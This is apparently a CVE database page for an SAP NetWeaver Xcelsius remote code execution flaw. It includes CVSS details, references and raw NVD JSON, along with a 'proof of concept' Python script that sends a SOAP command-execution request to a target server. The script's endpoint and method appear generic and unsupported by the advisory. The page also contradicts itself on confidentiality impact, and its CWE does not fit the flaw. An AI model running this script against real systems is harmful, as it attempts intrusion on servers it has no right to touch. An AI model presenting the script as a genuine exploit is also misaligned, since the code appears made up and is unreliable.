CVE-2025-42874

Description

SAP NetWeaver remote service for Xcelsius allows an attacker with network access and high privileges to execute arbitrary code on the affected system due to insufficient input validation and improper handling of remote method calls. Exploitation does not require user interaction and could lead to service disruption or unauthorized system control. This has high impact on integrity and availability, with no impact on confidentiality.

CVSS Details

CVSS Score

7.9

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:H/A:H

Configurations (Affected Products)

No configuration data available.

SAP NetWeaver (all versions with Xcelsius remote service enabled)

SAP BusinessObjects Xcelsius Enterprise

SAP NetWeaver AS for ABAP

SAP NetWeaver AS for Java

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# CVE-2025-42874 PoC - SAP NetWeaver Xcelsius RCE
# Note: This PoC is for educational purposes only

import requests
import json

target = "https://target-sap-system:50000"
cve_id = "CVE-2025-42874"

def exploit_cve_2025_42874(target_url):
    """
    Exploit for CVE-2025-42874: SAP NetWeaver Xcelsius RCE
    This vulnerability allows remote code execution via improper 
    handling of remote method calls.
    """
    headers = {
        'Content-Type': 'application/xml',
        'SOAPAction': 'RemoteMethodCall',
        'Authorization': 'Basic <base64_encoded_credentials>'
    }
    
    # Malicious payload targeting Xcelsius remote service
    payload = '''<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
   <soapenv:Header/>
   <soapenv:Body>
      <RemoteCall>
         <MethodName>executeCommand</MethodName>
         <Arguments>
            <Argument><![CDATA[whoami]]></Argument>
         </Arguments>
      </RemoteCall>
   </soapenv:Body>
</soapenv:Envelope>'''
    
    endpoint = f"{target_url}/Xcelsius/services/RemoteService"
    
    try:
        response = requests.post(endpoint, data=payload, headers=headers, timeout=30, verify=False)
        print(f"[*] Target: {target_url}")
        print(f"[*] CVE: {cve_id}")
        print(f"[*] Status Code: {response.status_code}")
        print(f"[*] Response: {response.text[:500]}")
        return response
    except requests.exceptions.RequestException as e:
        print(f"[!] Error: {e}")
        return None

if __name__ == "__main__":
    print("=" * 60)
    print(f"CVE-2025-42874 PoC - SAP NetWeaver Xcelsius RCE")
    print("=" * 60)
    exploit_cve_2025_42874(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-42874
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-42874
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-42874/
[4] VulDB https://vuldb.com/cve/CVE-2025-42874
[5] https://me.sap.com/notes/3640185
[6] https://url.sap/sapsecuritypatchday

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-42874", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:17:51.497", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "SAP NetWeaver remote service for Xcelsius allows an attacker with network access and high privileges to execute arbitrary code on the affected system due to insufficient input validation and improper handling of remote method calls. Exploitation does not require user interaction and could lead to service disruption or unauthorized system control. This has high impact on integrity and availability, with no impact on confidentiality."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:H/A:H", "baseScore": 7.9, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-405"}]}], "references": [{"url": "https://me.sap.com/notes/3640185", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}